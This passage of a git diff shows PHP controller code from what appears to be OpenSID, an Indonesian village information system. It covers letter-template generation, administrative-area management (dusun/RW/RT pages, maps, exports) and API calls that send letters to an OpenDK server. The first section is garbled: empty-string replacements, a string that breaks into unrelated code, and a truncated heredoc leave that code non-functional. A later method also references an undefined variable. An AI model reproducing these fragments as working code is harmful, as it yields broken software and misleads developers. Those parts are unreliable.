+ } elseif ($this->request['tipe_kode'][$i] == 'select-otomatis') {
+ $pilihan = ref($this->request['referensi_kode'][$i]);
+ $kode_isian = $pilihan[array_rand($pilihan)]->nama;
+ } else {
+ $kode_isian = 'Masukkan ' . $kode;
+ }
+
+ $data = case_replace(form_kode_isian($kode), $kode_isian, $data);
+ }
+
+ $data = str_replace('[JUdul_surat]', strtoupper($this->request['nama']), $data);
+ $isi_surat = $this->tinymce->replceKodeIsian($data);
+
+ // Manual replace kode isian non warga
+ $isi_surat = str_replace('[Form_nik_non_wargA]', $data['nik_non_warga'], $isi_surat);
+ $isi_surat = str_replace('[Form_nama_non_wargA]', $data['nama_non_warga'], $isi_surat);
+
+ // Pisahkan isian surat
+ $isi_surat = str_replace('', '', $isi_surat);
+ $isi = explode('', $isi_surat);
+ $backtop = $this->request['header'] == 0 ? 0 : (((float) setting('tinggi_header')) * 10) . 'mm';
+ $backbottom = $this->request['footer'] == 0 ? 0 : (((float) setting('tinggi_footer')) * 10) . 'mm';
+
+ $isi_cetak = '
+
' . $this->upload->display_errors());
+ }
+
+ // Hanya untuk develpment
+ public function migrasi()
+ {
+ if (ENVIRONMENT !== 'development') {
+ redirect_with('error', 'Hanya untuk development');
+ }
+
+ $simpan = FormatSurat::updateOrCreate(['id' => $this->request['id_surat']], static::validate($this->request));
+
+ // Pilih surat yang akan dibuat migrasinya
+ $surat = FormatSurat::jenis(FormatSurat::TINYMCE)->find($simpan->id);
+
+ $nama_fuction = 'surat' . str_replace(' ', '', ucwords(str_replace(['_', '(', ')'], ' ', $surat->nama)));
+
+ $kode_isian = json_encode($surat->kode_isian);
+ $form_isian = json_encode($surat->form_isian);
+ $template_surat = str_replace(['\/', '\u00a0'], ['/', ' '], json_encode($surat->template_desa ?? $surat->template));
+ $qr_code = getVariableName(StatusEnum::class, $surat->qr_code);
+ $mandiri = getVariableName(StatusEnum::class, $surat->mandiri);
+ $syarat_surat = $surat->syarat_surat ?: 'null';
+ $lampiran = $surat->lampiran ?: 'null';
+
+ $import = <<<'EOS'
+ use App\Enums\StatusEnum;
+ EOS;
+
+ $get_fuction = <<
Ektensi tidy
tidak aktif. Silahkan cek Pengaturan > Info Sistem > Kebutuhan Sistem.';
+
+ redirect($this->controller);
+ }
+ }
+}
diff --git a/donjo-app/controllers/Wilayah.php b/donjo-app/controllers/Wilayah.php
index 9c182ad97..4a0547835 100644
--- a/donjo-app/controllers/Wilayah.php
+++ b/donjo-app/controllers/Wilayah.php
@@ -1,473 +1,659 @@
-load->model(['wilayah_model', 'pamong_model']);
+ $this->load->library('form_validation');
+ $this->modul_ini = 'info-desa';
+ $this->sub_modul_ini = 'wilayah-administratif';
+ $this->_set_page = ['20', '50', '100'];
+ }
+
+ public function clear()
+ {
+ $this->session->unset_userdata('cari');
+ $this->session->per_page = $this->_set_page[0];
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect("{$this->controller}");
+ }
+
+ public function index($p = 1, $o = 0)
+ {
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data = $this->cache->pakai_cache(function () use ($p, $o) {
+ $data['p'] = $p;
+ $data['o'] = $o;
+ $data['cari'] = $this->session->cari ?: '';
+ $data['func'] = 'index';
+ $data['set_page'] = $this->_set_page;
+ $data['per_page'] = $this->session->per_page;
+ $data['keyword'] = $this->wilayah_model->autocomplete();
+ $data['paging'] = json_decode(json_encode($this->wilayah_model->paging($p, $o)));
+ $data['main'] = $this->wilayah_model->list_data($o, $data['paging']->offset, $data['paging']->per_page);
+ $data['total'] = $this->wilayah_model->total();
+
+ return $data;
+ }, "{$this->session->per_page}_{$p}_{$this->session->cari}_dusun_wilayah", 24 * 60 * 60);
+
+ $this->render('sid/wilayah/wilayah', $data);
+ }
+
+ // $aksi = cetak/unduh
+ public function dialog($aksi = 'cetak')
+ {
+ $data = $this->modal_penandatangan();
+ $data['aksi'] = $aksi;
+ $data['form_action'] = site_url("{$this->controller}/daftar/{$aksi}");
+ $this->load->view('global/ttd_pamong', $data);
+ }
+
+ // $aksi = cetak/unduh
+ public function daftar($aksi = 'cetak')
+ {
+ $data['pamong_ttd'] = $this->pamong_model->get_data($this->input->post('pamong_ttd'));
+ $data['pamong_ketahui'] = $this->pamong_model->get_data($this->input->post('pamong_ketahui'));
+ $data['desa'] = $this->header['desa'];
+ $data['main'] = $this->wilayah_model->list_semua_wilayah();
+ $data['total'] = $this->wilayah_model->total();
+
+ $this->load->view("sid/wilayah/wilayah_{$aksi}", $data);
+ }
+
+ public function form($id_dusun = '')
+ {
+ $this->redirect_hak_akses('u');
+
+ if ($id_dusun) {
+ $data['dusun'] = WilayahModel::with('kepala')->find($id_dusun) ?? show_404();
+ $data['form_action'] = site_url("{$this->controller}/update/{$id_dusun}");
+ } else {
+ $data['dusun'] = null;
+ $data['form_action'] = site_url("{$this->controller}/insert");
+ }
+
+ $this->render('sid/wilayah/wilayah_form', $data);
+ }
+
+ public function apipendudukwilayah()
+ {
+ if ($this->input->is_ajax_request()) {
+ $cari = $this->input->get('q');
+ $kepala = WilayahModel::pluck('id_kepala')->filter(static function ($value) { return null !== $value; });
+ $penduduk = Penduduk::select(['id', 'nik', 'nama', 'id_cluster'])
+ ->when($cari, static function ($query) use ($cari) {
+ $query->orWhere('nik', 'like', "%{$cari}%")
+ ->orWhere('nama', 'like', "%{$cari}%");
+ })
+ ->whereNotIn('id', $kepala)
+ ->paginate(10);
+
+ return json([
+ 'results' => collect($penduduk->items())
+ ->map(static function ($item) {
+ return [
+ 'id' => $item->id,
+ 'text' => 'NIK : ' . $item->nik . ' - ' . $item->nama . ' RT-' . $item->wilayah->rt . ', RW-' . $item->wilayah->rw . ', ' . strtoupper(setting('sebutan_dusun') . ' ' . $item->wilayah->dusun),
+ ];
+ }),
+ 'pagination' => [
+ 'more' => $penduduk->currentPage() < $penduduk->lastPage(),
+ ],
+ ]);
+ }
+
+ return show_404();
+ }
+
+ public function search()
+ {
+ $cari = $this->input->post('cari');
+ if ($cari != '') {
+ $this->session->cari = $cari;
+ } else {
+ $this->session->unset_userdata('cari');
+ }
+ redirect("{$this->controller}");
+ }
+
+ public function insert()
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->insert();
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect("{$this->controller}");
+ }
+
+ public function update($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update($id);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect("{$this->controller}");
+ }
+
+ //Delete dusun/rw/rt tergantung tipe
+ public function delete($tipe = '', $id = '')
+ {
+ $this->redirect_hak_akses('h');
+ $this->wilayah_model->delete($tipe, $id);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect($_SERVER['HTTP_REFERER']);
+ }
+
+ public function sub_rw($id_dusun = '', $p = 1, $o = 0)
+ {
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data = $this->cache->pakai_cache(function () use ($id_dusun, $p, $o) {
+ $dusun = $this->wilayah_model->cluster_by_id($id_dusun);
+ $nama_dusun = $dusun['dusun'];
+ $data['dusun'] = $dusun['dusun'];
+ $data['id_dusun'] = $id_dusun;
+ $data['func'] = "sub_rw/{$id_dusun}";
+ $data['set_page'] = $this->_set_page;
+ $data['paging'] = json_decode(json_encode($this->wilayah_model->paging_rw($p, $o, $nama_dusun)));
+ $data['main'] = $this->wilayah_model->list_data_rw($id_dusun, $data['paging']->offset, $data['paging']->per_page);
+ $data['total'] = $this->wilayah_model->total_rw($nama_dusun);
+
+ return $data;
+ }, "{$this->session->per_page}_{$p}_{$id_dusun}_rw_wilayah", 24 * 60 * 60);
+
+ $this->render('sid/wilayah/wilayah_rw', $data);
+ }
+
+ public function cetak_rw($id_dusun = '')
+ {
+ $dusun = $this->wilayah_model->cluster_by_id($id_dusun);
+ $nama_dusun = $dusun['dusun'];
+ $data['dusun'] = $dusun['dusun'];
+ $data['id_dusun'] = $id_dusun;
+ $data['main'] = $this->wilayah_model->list_data_rw($id_dusun);
+ $data['total'] = $this->wilayah_model->total_rw($nama_dusun);
+
+ $this->load->view('sid/wilayah/wilayah_rw_print', $data);
+ }
+
+ public function excel_rw($id_dusun = '')
+ {
+ $dusun = $this->wilayah_model->cluster_by_id($id_dusun);
+ $nama_dusun = $dusun['dusun'];
+ $data['dusun'] = $dusun['dusun'];
+ $data['id_dusun'] = $id_dusun;
+ $data['main'] = $this->wilayah_model->list_data_rw($id_dusun);
+ $data['total'] = $this->wilayah_model->total_rw($nama_dusun);
+
+ $this->load->view('sid/wilayah/wilayah_rw_excel', $data);
+ }
+
+ public function form_rw($id_dusun = '', $id_rw = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data_dusun = $this->wilayah_model->cluster_by_id($id_dusun);
+ $data['dusun'] = $data_dusun['dusun'];
+ $data['id_dusun'] = $id_dusun;
+
+ if ($id_rw) {
+ $data_rw = $this->wilayah_model->cluster_by_id($id_rw);
+ $data['id_rw'] = $id_rw;
+ $data['rw'] = $data_rw['rw'];
+ $data['individu'] = $this->wilayah_model->get_penduduk($data_rw['id_kepala']);
+ $data['form_action'] = site_url("{$this->controller}/update_rw/{$id_dusun}/{$id_rw}");
+ } else {
+ $data['id_rw'] = null;
+ $data['rw'] = null;
+ $data['form_action'] = site_url("{$this->controller}/insert_rw/{$id_dusun}");
+ }
+
+ $this->render('sid/wilayah/wilayah_form_rw', $data);
+ }
+
+ public function insert_rw($id_dusun = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->insert_rw($id_dusun);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect("{$this->controller}/sub_rw/{$id_dusun}");
+ }
+
+ public function update_rw($id_dusun = '', $id_rw = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_rw($id_rw);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect("{$this->controller}/sub_rw/{$id_dusun}");
+ }
+
+ public function sub_rt($id_dusun = '', $id_rw = '', $p = 1, $o = 0)
+ {
+ $per_page = $this->input->post('per_page');
+ if (isset($per_page)) {
+ $this->session->per_page = $per_page;
+ }
+
+ $data = $this->cache->pakai_cache(function () use ($id_dusun, $id_rw, $p, $o) {
+ $data_rw = $this->wilayah_model->cluster_by_id($id_rw);
+ $data['dusun'] = $data_rw['dusun'];
+ $data['id_dusun'] = $id_dusun;
+ $data['rw'] = $data_rw['rw'];
+ $data['id_rw'] = $id_rw;
+ $data['func'] = "sub_rt/{$id_dusun}/{$id_rw}";
+ $data['set_page'] = $this->_set_page;
+ $data['paging'] = $this->wilayah_model->paging_rt($p, $o, $data['dusun'], $data['rw']);
+ $data['main'] = $this->wilayah_model->list_data_rt($data['dusun'], $data['rw'], $data['paging']->offset, $data['paging']->per_page);
+ $data['total'] = $this->wilayah_model->total_rt($data['dusun'], $data['rw']);
+
+ return $data;
+ }, "{$this->session->per_page}_{$p}_{$id_dusun}_{$id_rw}_rt_wilayah", 24 * 60 * 60);
+
+ $this->render('sid/wilayah/wilayah_rt', $data);
+ }
+
+ public function cetak_rt($id_dusun = '', $id_rw = '')
+ {
+ $temp = $this->wilayah_model->cluster_by_id($id_dusun);
+ $dusun = $temp['dusun'];
+ $data['dusun'] = $temp['dusun'];
+ $data['id_dusun'] = $id_dusun;
+
+ $temp = $this->wilayah_model->cluster_by_id($id_rw);
+ $rw = $temp['rw'];
+ $data['rw'] = $rw;
+ $data['main'] = $this->wilayah_model->list_data_rt($dusun, $rw);
+ $data['total'] = $this->wilayah_model->total_rt($dusun, $rw);
+
+ $this->load->view('sid/wilayah/wilayah_rt_print', $data);
+ }
+
+ public function excel_rt($id_dusun = '', $id_rw = '')
+ {
+ $temp = $this->wilayah_model->cluster_by_id($id_dusun);
+ $dusun = $temp['dusun'];
+ $data['dusun'] = $temp['dusun'];
+ $data['id_dusun'] = $id_dusun;
+
+ $temp = $this->wilayah_model->cluster_by_id($id_rw);
+ $rw = $temp['rw'];
+ $data['rw'] = $rw;
+ $data['main'] = $this->wilayah_model->list_data_rt($dusun, $rw);
+ $data['total'] = $this->wilayah_model->total_rt($dusun, $rw);
+
+ $this->load->view('sid/wilayah/wilayah_rt_excel', $data);
+ }
+
+ public function form_rt($id_dusun = '', $id_rw = '', $id_rt = '')
+ {
+ $this->redirect_hak_akses('u');
+ $data_rw = $this->wilayah_model->cluster_by_id($id_rw);
+ $data['dusun'] = $data_rw['dusun'];
+ $data['id_dusun'] = $id_dusun;
+ $data['rw'] = $data_rw['rw'];
+ $data['id_rw'] = $id_rw;
+
+ if ($id_rt) {
+ $data_rt = $this->wilayah_model->cluster_by_id($id_rt);
+ $data['rt'] = $data_rt['rt'];
+ $data['individu'] = $this->wilayah_model->get_penduduk($data_rt['id_kepala']);
+ $data['form_action'] = site_url("{$this->controller}/update_rt/{$id_dusun}/{$id_rw}/{$id_rt}");
+ } else {
+ $data['rt'] = null;
+ $data['form_action'] = site_url("{$this->controller}/insert_rt/{$id_dusun}/{$id_rw}");
+ }
+
+ $this->render('sid/wilayah/wilayah_form_rt', $data);
+ }
+
+ public function insert_rt($id_dusun = '', $id_rw = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->insert_rt($id_dusun, $id_rw);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}");
+ }
+
+ public function update_rt($id_dusun = '', $id_rw = '', $id_rt = 0)
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_rt($id_rt);
+ $this->cache->hapus_cache_untuk_semua('_wilayah');
+ redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}");
+ }
+
+ public function warga($id = '')
+ {
+ $temp = $this->wilayah_model->cluster_by_id($id);
+ $id_dusun = $temp['id'];
+ $dusun = $temp['dusun'];
+
+ $_SESSION['per_page'] = 100;
+ $_SESSION['dusun'] = $dusun;
+ redirect('penduduk/index/1/0');
+ }
+
+ public function warga_kk($id = '')
+ {
+ $temp = $this->wilayah_model->cluster_by_id($id);
+ $id_dusun = $temp['id'];
+ $dusun = $temp['dusun'];
+ $_SESSION['per_page'] = 50;
+ $_SESSION['dusun'] = $dusun;
+ redirect('keluarga/index/1/0');
+ }
+
+ public function warga_l($id = '')
+ {
+ $temp = $this->wilayah_model->cluster_by_id($id);
+ $id_dusun = $temp['id'];
+ $dusun = $temp['dusun'];
+
+ $_SESSION['per_page'] = 100;
+ $_SESSION['dusun'] = $dusun;
+ $_SESSION['sex'] = 1;
+ redirect('penduduk/index/1/0');
+ }
+
+ public function warga_p($id = '')
+ {
+ $temp = $this->wilayah_model->cluster_by_id($id);
+ $id_dusun = $temp['id'];
+ $dusun = $temp['dusun'];
+
+ $_SESSION['per_page'] = 100;
+ $_SESSION['dusun'] = $dusun;
+ $_SESSION['sex'] = 2;
+ redirect('penduduk/index/1/0');
+ }
+
+ public function ajax_kantor_dusun_maps($id = '')
+ {
+ $sebutan_desa = ucwords($this->setting->sebutan_desa);
+ $data['poly'] = 'multi';
+ $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id);
+ $data['wil_atas'] = $this->header['desa'];
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $data['nama_wilayah'] = ucwords(setting('sebutan_dusun') . ' ' . $data['wil_ini']['dusun'] . ' ' . $sebutan_desa . ' ' . $data['wil_atas']['nama_desa']);
+ $data['wilayah'] = ucwords(setting('sebutan_dusun'));
+ $data['breadcrumb'] = [
+ ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $data['wilayah']],
+ ];
+ $data['form_action'] = site_url("{$this->controller}/update_kantor_dusun_map/{$id}");
+ $namadesa = $data['wil_atas']['nama_desa'];
+ $data['logo'] = $this->header['desa'];
+
+ if (! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'] && ! empty($data['wil_atas']['path'])))) {
+ $this->render('sid/wilayah/maps_kantor', $data);
+ } else {
+ $this->session->success = -1;
+ $this->session->error_msg = "Lokasi Kantor {$sebutan_desa} {$namadesa} Belum Dilengkapi";
+ redirect("{$this->controller}");
+ }
+ }
+
+ public function ajax_wilayah_dusun_maps($id = '')
+ {
+ $sebutan_desa = ucwords($this->setting->sebutan_desa);
+ $data['poly'] = 'multi';
+ $data['wil_atas'] = $this->header['desa'];
+ $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id);
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $data['nama_wilayah'] = ucwords(setting('sebutan_dusun') . ' ' . $data['wil_ini']['dusun'] . ' ' . $sebutan_desa . ' ' . $data['wil_atas']['nama_desa']);
+ $data['wilayah'] = ucwords(setting('sebutan_dusun'));
+ $data['breadcrumb'] = [
+ ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $data['wilayah']],
+ ];
+ $data['form_action'] = site_url("{$this->controller}/update_wilayah_dusun_map/{$id}");
+ $namadesa = $data['wil_atas']['nama_desa'];
+ $data['logo'] = $this->header['desa'];
+ if (! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'] && ! empty($data['wil_atas']['path'])))) {
+ $this->render('sid/wilayah/maps_wilayah', $data);
+ } else {
+ $this->session->success = -1;
+ $this->session->error_msg = "Peta Lokasi/Wilayah {$sebutan_desa} {$namadesa} Belum Dilengkapi";
+ redirect("{$this->controller}");
+ }
+ }
+
+ public function update_kantor_dusun_map($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_kantor_dusun_map($id);
+ redirect("{$this->controller}");
+ }
+
+ public function update_wilayah_dusun_map($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_wilayah_dusun_map($id);
+ redirect("{$this->controller}");
+ }
+
+ public function ajax_kantor_rw_maps($id_dusun = '', $id_rw = '')
+ {
+ $sebutan_dusun = ucwords(setting('sebutan_dusun'));
+ $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun);
+ $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id_rw);
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $dusun = $data['wil_atas']['dusun'];
+ $data['nama_wilayah'] = 'RW ' . $data['wil_ini']['rw'] . ' ' . $sebutan_dusun . ' ' . $dusun;
+ $data['breadcrumb'] = [
+ ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $sebutan_dusun],
+ ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'],
+ ];
+ $data['wilayah'] = 'RW';
+ $data['form_action'] = site_url("{$this->controller}/update_kantor_rw_map/{$id_dusun}/{$id_rw}");
+ $data['logo'] = $this->header['desa'];
+
+ if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) {
+ $this->render('sid/wilayah/maps_kantor', $data);
+ } else {
+ session_error("Lokasi Kantor {$sebutan_dusun} {$dusun} Belum Dilengkapi");
+
+ redirect("{$this->controller}/sub_rw/{$id_dusun}");
+ }
+ }
+
+ public function ajax_wilayah_rw_maps($id_dusun = '', $id_rw = '')
+ {
+ $sebutan_dusun = ucwords(setting('sebutan_dusun'));
+ $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun);
+ $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id_rw);
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $dusun = $data['wil_atas']['dusun'];
+ $data['nama_wilayah'] = 'RW ' . $data['wil_ini']['rw'] . ' ' . $sebutan_dusun . ' ' . $dusun;
+ $data['breadcrumb'] = [
+ ['link' => site_url('wilayah/clear'), 'judul' => 'Daftar ' . $sebutan_dusun],
+ ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'],
+ ];
+ $data['wilayah'] = 'RW';
+ $data['form_action'] = site_url("{$this->controller}/update_wilayah_rw_map/{$id_dusun}/{$id_rw}");
+ $data['logo'] = $this->header['desa'];
+
+ if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) {
+ $this->render('sid/wilayah/maps_wilayah', $data);
+ } else {
+ session_error("Peta Lokasi/Wilayah {$sebutan_dusun} {$dusun} Belum Dilengkapi");
+ redirect("{$this->controller}/sub_rw/{$id_dusun}");
+ }
+ }
+
+ public function update_kantor_rw_map($id_dusun = '', $id_rw = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_kantor_rw_map($id_rw);
+ redirect("{$this->controller}/sub_rw/{$id_dusun}");
+ }
+
+ public function update_wilayah_rw_map($id_dusun = '', $rw = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_wilayah_rw_map($id_rw);
+ redirect("{$this->controller}/sub_rw/{$id_dusun}");
+ }
+
+ public function ajax_kantor_rt_maps($id_dusun = '', $id_rw = '', $id = '')
+ {
+ $sebutan_dusun = ucwords(setting('sebutan_dusun'));
+ $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun);
+ $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id);
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $data['nama_wilayah'] = 'RT ' . $data['wil_ini']['rt'] . ' RW ' . $data['wil_ini']['rw'] . ' ' . ucwords($sebutan_dusun . ' ' . $data['wil_ini']['dusun']);
+ $data['breadcrumb'] = [
+ ['link' => site_url("{$this->controller}/clear"), 'judul' => 'Daftar ' . $sebutan_dusun],
+ ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'],
+ ['link' => site_url("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"), 'judul' => 'Daftar RT'],
+ ];
+ $data['wilayah'] = 'RT';
+ $data['form_action'] = site_url("{$this->controller}/update_wilayah_rt_map/{$id_dusun}/{$id_rw}/{$id}");
+ $data['logo'] = $this->header['desa'];
+
+ if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) {
+ $this->render('sid/wilayah/maps_kantor', $data);
+ } else {
+ $this->session->success = -1;
+ $this->session->error_msg = "Lokasi Kantor {$sebutan_dusun} {$dusun} Belum Dilengkapi";
+ redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}");
+ }
+ }
+
+ public function ajax_wilayah_rt_maps($id_dusun = '', $id_rw = '', $id = '')
+ {
+ $sebutan_dusun = ucwords(setting('sebutan_dusun'));
+ $data['wil_atas'] = $this->wilayah_model->cluster_by_id($id_dusun);
+ $data['wil_ini'] = $this->wilayah_model->cluster_by_id($id);
+ $data['dusun_gis'] = $this->wilayah_model->list_dusun();
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $data['nama_wilayah'] = 'RT ' . $data['wil_ini']['rt'] . ' RW ' . $data['wil_ini']['rw'] . ' ' . ucwords($sebutan_dusun . ' ' . $data['wil_ini']['dusun']);
+ $data['breadcrumb'] = [
+ ['link' => site_url("{$this->controller}/clear"), 'judul' => 'Daftar ' . $sebutan_dusun],
+ ['link' => site_url("{$this->controller}/sub_rw/{$id_dusun}"), 'judul' => 'Daftar RW'],
+ ['link' => site_url("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}"), 'judul' => 'Daftar RT'],
+ ];
+ $data['wilayah'] = 'RT';
+ $data['form_action'] = site_url("{$this->controller}/update_wilayah_rt_map/{$id_dusun}/{$id_rw}/{$id}");
+ $data['logo'] = $this->header['desa'];
+
+ if (! empty($data['wil_atas']['path'] && ! empty($data['wil_atas']['lat'] && ! empty($data['wil_atas']['lng'])))) {
+ $this->render('sid/wilayah/maps_wilayah', $data);
+ } else {
+ session_error("Peta Lokasi/Wilayah {$sebutan_dusun} {$dusun} Belum Dilengkapi");
+ redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}");
+ }
+ }
+
+ public function update_kantor_rt_map($id_dusun = '', $id_rw = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_kantor_rt_map($id);
+ redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}");
+ }
+
+ public function update_wilayah_rt_map($id_dusun = '', $id_rw = '', $id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->update_wilayah_rt_map($id);
+ redirect("{$this->controller}/sub_rt/{$id_dusun}/{$id_rw}");
+ }
+
+ public function kosongkan($id = '')
+ {
+ $this->redirect_hak_akses('u');
+ $this->wilayah_model->kosongkan_path($id);
+
+ redirect($this->controller);
+ }
+
+ public function urut($tipe = '', $p = 1, $id = 0, $arah = 0, $id_dusun = 0, $id_rw = 0)
+ {
+ switch ($tipe) {
+ case 'dusun': $url = "index/{$p}";
+ break;
+
+ case 'rw': $url = "sub_rw/{$id_dusun}/{$p}";
+ break;
+
+ case 'rt': $url = "sub_rt/{$id_dusun}/{$id_rw}/{$p}";
+ break;
+
+ default:
+ // code...
+ break;
+ }
+
+ $this->wilayah_model->urut($tipe, $id, $arah, $id_dusun, $id_rw);
+ redirect("{$this->controller}/{$url}");
+ }
+
+ public function list_rw($dusun = '')
+ {
+ $list_rw = $this->wilayah_model->list_rw($dusun);
+ echo json_encode($list_rw);
+ }
+
+ public function list_rt($dusun = '', $rw = '-')
+ {
+ $list_rt = $this->wilayah_model->list_rt($dusun, $rw);
+ echo json_encode($list_rt);
+ }
+}
diff --git a/donjo-app/controllers/api/Sign.php b/donjo-app/controllers/api/Sign.php
index 528adb8dd..cf46296da 100644
--- a/donjo-app/controllers/api/Sign.php
+++ b/donjo-app/controllers/api/Sign.php
@@ -1,481 +1,55 @@
- true,
+ 'pesan' => 'success',
+ 'jenis_error' => null,
+ ]);
+ }
+}
diff --git a/donjo-app/controllers/api/Surat.php b/donjo-app/controllers/api/Surat.php
index d7a9be4c8..a3a57bc23 100644
--- a/donjo-app/controllers/api/Surat.php
+++ b/donjo-app/controllers/api/Surat.php
@@ -1,489 +1,156 @@
-setting->api_opendk_key)) {
+ $this->client = new \GuzzleHttp\Client([
+ 'base_uri' => "{$this->setting->api_opendk_server}/api/v1/surat/",
+ ]);
+ }
+
+ $this->kode_desa = kode_wilayah($this->header['desa']['kode_desa']);
+ }
+
+ public function kirim()
+ {
+ $request = $this->input->post();
+
+ DB::beginTransaction();
+
+ try {
+ $surat = LogSurat::where('id', '=', $request['id'])->first();
+
+ $this->load->model('keluar_model');
+ $data = $this->keluar_model->verifikasi_data_surat($surat->id, $this->kode_desa);
+
+ if ($this->client) {
+ $this->client->post('kirim', [
+ 'headers' => [
+ 'Accept' => 'application/json',
+ 'Authorization' => "Bearer {$this->setting->api_opendk_key}",
+ ],
+ 'multipart' => [
+ ['name' => 'file', 'contents' => Psr7\Utils::tryFopen(FCPATH . LOKASI_ARSIP . $surat->nama_surat, 'r')],
+ ['name' => 'desa_id', 'contents' => $this->kode_desa],
+ ['name' => 'nik', 'contents' => $surat->penduduk->nik],
+ ['name' => 'tanggal', 'contents' => $surat->tanggal],
+ ['name' => 'nomor', 'contents' => $data->nomor_surat],
+ ['name' => 'nama', 'contents' => $surat->formatSurat->nama],
+ ],
+ ]);
+
+ $surat->update(['kecamatan' => StatusSuratKecamatanEnum::SudahDikirim]); // update log surat
+ }
+
+ DB::commit();
+
+ return json([
+ 'status' => true,
+ 'pesan' => 'success',
+ 'jenis_error' => null,
+ ]);
+ } catch (GuzzleHttp\Exception\ClientException $e) {
+ log_message('error', $e);
+
+ DB::rollback();
+
+ return json([
+ 'status' => false,
+ 'pesan' => $e->getResponse()->getBody()->getContents(),
+ 'jenis_error' => 'ClientException',
+ ]);
+ }
+ }
+
+ public function download($jenis, $nomor, $desa, $bulan, $tahun)
+ {
+ if ($this->client) {
+ try {
+ $response = $this->client->get("download?desa_id={$this->kode_desa}&nomor={$jenis}/{$nomor}/{$desa}/{$bulan}/{$tahun}", [
+ 'headers' => [
+ 'Accept' => 'application/pdf',
+ 'Authorization' => "Bearer {$this->setting->api_opendk_key}",
+ ],
+ ]);
+
+ $filename = "kecamatan_{$jenis}_{$nomor}_{$bulan}_{$tahun}.pdf";
+
+ if ($response->getStatusCode() == 200) {
+ $file = fopen(FCPATH . LOKASI_ARSIP . $filename, 'wb');
+ fwrite($file, $response->getBody()->getContents());
+ fclose($file);
+ }
+
+ ambilBerkas($filename, 'keluar/kecamatan', null, LOKASI_ARSIP, true);
+ } catch (GuzzleHttp\Exception\ClientException $e) {
+ log_message('error', $e);
+
+ $_SESSION['success'] = -99;
+ $_SESSION['error_msg'] = $e->getResponse()->getBody()->getContents();
+
+ return redirect('keluar/kecamatan');
+ }
+ }
+
+ $_SESSION['success'] = -99;
+ $_SESSION['error_msg'] = 'Tidak bisa mengambil surat dari kecamatan, apikey opendk belum disetting';
+
+ return redirect('keluar/kecamatan');
+ }
+}
diff --git a/donjo-app/controllers/api/Tte.php b/donjo-app/controllers/api/Tte.php
index d525486b6..8738ed00e 100644
